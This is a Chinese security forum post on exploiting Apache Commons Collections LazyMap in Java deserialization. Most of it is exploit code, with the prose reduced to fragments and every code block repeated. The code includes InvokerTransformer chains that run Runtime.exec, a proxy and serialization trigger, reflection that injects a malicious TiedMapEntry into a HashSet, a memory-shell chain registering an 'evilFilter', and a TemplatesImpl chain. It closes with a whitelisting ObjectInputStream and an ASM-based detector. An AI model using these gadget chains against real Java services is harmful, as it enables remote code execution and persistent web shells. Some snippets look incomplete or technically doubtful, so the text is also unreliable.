-
-
[原创]Java LazyMap的深度利用技巧
-
发表于: 2025-4-3 10:41 846
-
LazyMap是Apache Commons Collections中实现延迟加载的特殊Map实现类,其核心逻辑在于当访问不存在的Key时,会触发Transformer
转换器:
触发原理:
绕过原理:
通过BadAttributeValueExpException
的readObject
方法触发TiedMapEntry.toString()
,进而调用LazyMap.get()
。此方法不依赖动态代理机制,适用于高版本 JDK 环境。
关键点:
通过反射修改HashSet
内部存储结构,注入恶意TiedMapEntry
对象:
绕过原理:
通过嵌套多层代理隐藏真实调用链,绕过基于类名的黑名单过滤:
优势:
结合TemplatesImpl
加载恶意字节码,避免直接调用敏感方法:
特点:
通过LazyMap
触发 JNDI 查询,实现远程类加载:
利用条件:
/
/
源码关键逻辑
public
class
LazyMap extends AbstractMapDecorator {
private final Transformer factory;
public
Object
get(
Object
key) {
if
(!
map
.containsKey(key)) {
/
/
当Key不存在时
Object
value
=
factory.transform(key);
/
/
触发转换器
map
.put(key, value);
return
value;
}
return
map
.get(key);
}
}
/
/
源码关键逻辑
public
class
LazyMap extends AbstractMapDecorator {
private final Transformer factory;
public
Object
get(
Object
key) {
if
(!
map
.containsKey(key)) {
/
/
当Key不存在时
Object
value
=
factory.transform(key);
/
/
触发转换器
map
.put(key, value);
return
value;
}
return
map
.get(key);
}
}
/
/
构造命令执行链
Transformer[] transformers
=
new Transformer[]{
new ConstantTransformer(Runtime.
class
),
new InvokerTransformer(
"getMethod"
,
new Class[]{String.
class
, Class[].
class
},
new
Object
[]{
"getRuntime"
, new Class[
0
]}),
new InvokerTransformer(
"invoke"
,
new Class[]{
Object
.
class
,
Object
[].
class
},
new
Object
[]{null, new
Object
[
0
]}),
new InvokerTransformer(
"exec"
,
new Class[]{String.
class
},
new
Object
[]{
"calc.exe"
})
};
ChainedTransformer chain
=
new ChainedTransformer(transformers);
/
/
创建LazyMap实例
Map
lazyMap
=
LazyMap.decorate(new HashMap(), chain);
/
/
通过动态代理触发
Map
proxyMap
=
(
Map
) Proxy.newProxyInstance(
Map
.
class
.getClassLoader(),
new Class[]{
Map
.
class
},
new InvocationHandler() {
public
Object
invoke(
Object
proxy, Method method,
Object
[] args) {
return
method.invoke(lazyMap, args);
}
}
);
/
/
序列化触发
ByteArrayOutputStream bos
=
new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(proxyMap);
byte[] payload
=
bos.toByteArray();
/
/
反序列化触发漏洞
new ObjectInputStream(new ByteArrayInputStream(payload)).readObject();
/
/
构造命令执行链
Transformer[] transformers
=
new Transformer[]{
new ConstantTransformer(Runtime.
class
),
new InvokerTransformer(
"getMethod"
,
new Class[]{String.
class
, Class[].
class
},
new
Object
[]{
"getRuntime"
, new Class[
0
]}),
new InvokerTransformer(
"invoke"
,
new Class[]{
Object
.
class
,
Object
[].
class
},
new
Object
[]{null, new
Object
[
0
]}),
new InvokerTransformer(
"exec"
,
new Class[]{String.
class
},
new
Object
[]{
"calc.exe"
})
};
ChainedTransformer chain
=
new ChainedTransformer(transformers);
/
/
创建LazyMap实例
Map
lazyMap
=
LazyMap.decorate(new HashMap(), chain);
/
/
通过动态代理触发
Map
proxyMap
=
(
Map
) Proxy.newProxyInstance(
Map
.
class
.getClassLoader(),
new Class[]{
Map
.
class
},
new InvocationHandler() {
public
Object
invoke(
Object
proxy, Method method,
Object
[] args) {
return
method.invoke(lazyMap, args);
}
}
);
/
/
序列化触发
ByteArrayOutputStream bos
=
new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(proxyMap);
byte[] payload
=
bos.toByteArray();
/
/
反序列化触发漏洞
new ObjectInputStream(new ByteArrayInputStream(payload)).readObject();
/
/
构造增强版攻击链
Map
lazyMap
=
LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry
=
new TiedMapEntry(lazyMap,
"triggerKey"
);
/
/
通过HashSet触发
HashSet hashSet
=
new HashSet(
1
);
hashSet.add(
"foo"
);
/
/
初始化HashSet
/
/
反射修改内部Entry
Field mapField
=
HashSet.
class
.getDeclaredField(
"map"
);
mapField.setAccessible(true);
HashMap internalMap
=
(HashMap) mapField.get(hashSet);
Field tableField
=
HashMap.
class
.getDeclaredField(
"table"
);
tableField.setAccessible(true);
Object
[] table
=
(
Object
[]) tableField.get(internalMap);
/
/
修改第一个节点的key
Object
node
=
table[
0
];
Field keyField
=
node.getClass().getDeclaredField(
"key"
);
keyField.setAccessible(true);
keyField.
set
(node, entry);
/
/
注入恶意Entry
/
/
构造增强版攻击链
Map
lazyMap
=
LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry
=
new TiedMapEntry(lazyMap,
"triggerKey"
);
/
/
通过HashSet触发
HashSet hashSet
=
new HashSet(
1
);
hashSet.add(
"foo"
);
/
/
初始化HashSet
/
/
反射修改内部Entry
Field mapField
=
HashSet.
class
.getDeclaredField(
"map"
);
mapField.setAccessible(true);
HashMap internalMap
=
(HashMap) mapField.get(hashSet);
Field tableField
=
HashMap.
class
.getDeclaredField(
"table"
);
tableField.setAccessible(true);
Object
[] table
=
(
Object
[]) tableField.get(internalMap);
/
/
修改第一个节点的key
Object
node
=
table[
0
];
Field keyField
=
node.getClass().getDeclaredField(
"key"
);
keyField.setAccessible(true);
keyField.
set
(node, entry);
/
/
注入恶意Entry
Transformer[] memShellChain
=
new Transformer[]{
new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
new InvokerTransformer(
"loadClass"
,
new Class[]{String.
class
},
new
Object
[]{
"javax.servlet.Filter"
}),
new InvokerTransformer(
"getMethod"
,
new Class[]{String.
class
, Class[].
class
},
new
Object
[]{
"addFilter"
, new Class[]{String.
class
,
Filter
.
class
}}),
new InvokerTransformer(
"invoke"
,
new Class[]{
Object
.
class
,
Object
[].
class
},
new
Object
[]{null, new
Object
[]{
"evilFilter"
, new MaliciousFilter()}})
};
Map
lazyMap
=
LazyMap.decorate(new HashMap(), new ChainedTransformer(memShellChain));
Transformer[] memShellChain
=
new Transformer[]{
new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
new InvokerTransformer(
"loadClass"
,
new Class[]{String.
class
},
new
Object
[]{
"javax.servlet.Filter"
}),
new InvokerTransformer(
"getMethod"
,
new Class[]{String.
class
, Class[].
class
},
new
Object
[]{
"addFilter"
, new Class[]{String.
class
,
Filter
.
class
}}),
new InvokerTransformer(
"invoke"
,
new Class[]{
Object
.
class
,
Object
[].
class
},
new
Object
[]{null, new
Object
[]{
"evilFilter"
, new MaliciousFilter()}})
};
Map
lazyMap
=
LazyMap.decorate(new HashMap(), new ChainedTransformer(memShellChain));
/
/
使用TemplatesImpl持久化
Transformer[] persistChain
=
new Transformer[]{
new ConstantTransformer(TemplatesImpl.
class
),
new InvokerTransformer(
"newInstance"
, null, null),
new InvokerTransformer(
"getOutputProperties"
, null, null)
};
/
/
使用TemplatesImpl持久化
Transformer[] persistChain
=
new Transformer[]{
new ConstantTransformer(TemplatesImpl.
class
),
new InvokerTransformer(
"newInstance"
, null, null),
new InvokerTransformer(
"getOutputProperties"
, null, null)
};
public
class
SafeObjectInputStream extends ObjectInputStream {
private static final
Set
<String> ALLOWED_CLASSES
=
Set
.of(
"java.lang.String"
,
"java.util.ArrayList"
);
public SafeObjectInputStream(InputStream
in
) throws IOException {
super
(
in
);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String className
=
desc.getName();
if
(!ALLOWED_CLASSES.contains(className)) {
throw new InvalidClassException(
"Unauthorized class: "
, className);
}
return
super
.resolveClass(desc);
}
}
public
class
SafeObjectInputStream extends ObjectInputStream {
private static final
Set
<String> ALLOWED_CLASSES
=
Set
.of(
"java.lang.String"
,
"java.util.ArrayList"
);
public SafeObjectInputStream(InputStream
in
) throws IOException {
super
(
in
);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String className
=
desc.getName();
if
(!ALLOWED_CLASSES.contains(className)) {
throw new InvalidClassException(
"Unauthorized class: "
, className);
}
return
super
.resolveClass(desc);
}
}
/
/
使用Java Agent拦截关键方法
public
class
DeserializationAgent {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer)
-
> {
if
(className.equals(
"java/util/Map"
)) {
ClassReader cr
=
new ClassReader(classfileBuffer);
ClassWriter cw
=
new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
ClassVisitor cv
=
new LazyMapDetector(cw);
cr.accept(cv,
0
);
return
cw.toByteArray();
}
return
classfileBuffer;
});
}
}
/
/
ASM检测逻辑
class
LazyMapDetector extends ClassVisitor {
public MethodVisitor visitMethod(
int
access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv
=
super
.visitMethod(access, name, desc, signature, exceptions);
if
(name.equals(
"get"
)) {
mv.visitCode();
mv.visitMethodInsn(INVOKESTATIC,
"SecurityMonitor"
,
"checkLazyMapAccess"
);
mv.visitEnd();
}
return
mv;
}
}
/
/
使用Java Agent拦截关键方法
public
class
DeserializationAgent {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer)
-
> {
if
(className.equals(
"java/util/Map"
)) {
ClassReader cr
=
new ClassReader(classfileBuffer);
ClassWriter cw
=
new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
ClassVisitor cv
=
new LazyMapDetector(cw);
cr.accept(cv,
0
);
return
cw.toByteArray();
}
return
classfileBuffer;
});
}
}
/
/
ASM检测逻辑
class
LazyMapDetector extends ClassVisitor {
public MethodVisitor visitMethod(
int
access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv
=
super
.visitMethod(access, name, desc, signature, exceptions);
if
(name.equals(
"get"
)) {
mv.visitCode();
最后于 2025-4-11 10:19
被Hrlies编辑
,原因:
赞赏
赞赏
雪币:
留言: